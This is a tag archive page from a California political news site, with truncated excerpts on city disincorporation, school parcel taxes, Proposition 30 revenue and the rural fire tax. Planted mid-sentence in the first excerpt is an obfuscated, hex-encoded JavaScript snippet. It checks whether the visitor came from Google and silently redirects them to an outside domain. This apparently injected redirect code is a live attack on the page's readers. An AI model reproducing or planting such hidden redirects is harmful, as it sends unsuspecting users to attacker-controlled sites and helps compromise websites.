Posts Tagged: tax

This time, it’s the Arts Council that benefits

(Ed’s Note: This story originally appeared in California City News, a content partner of Capitol Weekly.)

It’s been 40 years since this last happened — the disincorporation of a city in California var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. But this time the circumstances are unique.

“We’ve done everything we possibly could, including lobbying at the state Legislature and

Lowering the vote threshold for passage of local school parcel taxes would likely allow far more to pass. But there is no evidence that it would expand their use beyond the sort of wealthy Bay Area school districts that already have them. These are the key findings of a report released today by the Public Policy Institute of California (PPIC). The report assesses the potential effect of reducing the vote required to pass these taxes from two-thirds to 55 percent—a proposal the state legislature has been discussing. Although a parcel tax is one of the only local revenue options available to school districts, these taxes are not widespread. Only about 10 percent of districts have passed one, and the money raised amounts to less than 1 percent of total K–12 revenue.

Across California, some six dozen community college districts – locally administering 112 schools, the largest higher education institution in the country – were scrambling for $90 million.

A record $16 billion in income tax revenue will flow into state coffers during April, according to predictions in Gov. Jerry Brown’s January budget plan.

About $5 billion of that $16 billion comes from higher taxes approved by voters in November through Proposition 30 — $4.5 billion in taxes owed for 2012 and $500

As the weather heats up,  a Capitol debate is heating up, too — on the hotly disputed ‘fire tax.’

The $150 annual charge on some 850,000 rural property owners is on the books, despite delays in collections, court action and tens of thousands of complaints from property owners. Republican lawmakers have seized the issue

What if a corporation raised $500 million in a securities offering on the premise that the proceeds would go for operating expenses, then disclosed a few months later that $300 million of this amount would instead be used to service a debt that wasn’t disclosed in the offering document?

This would be false advertising,

California pet and animal owners wouldn’t pay sales tax on medicines purchased from a local veterinarian under legislation proposed by the state Board of Equalization.

The proposal recognizes the reality that many of California’s estimated 18 million pet owners search the Internet to avoid paying sales tax on medications prescribed by a veterinarian.

Few issues spark more local controversy than the parcel tax, a levy on property that raises money for specific local programs, such as schools, roads and fire fighting.

But their size, scope and purpose vary dramatically. And despite the intense emotions they enflame locally, parcel taxes have rarely hit the state Capitol’s radar —

From the Public Policy Institute of California:

Strong majorities of Californians favor Governor Jerry Brown’s budget proposal and, specifically, his plan to direct extra money to school districts with more English Learner and lower-income students. Fewer—but still a majority of residents—back the governor’s plan to pay down the state’s debt and create a reserve,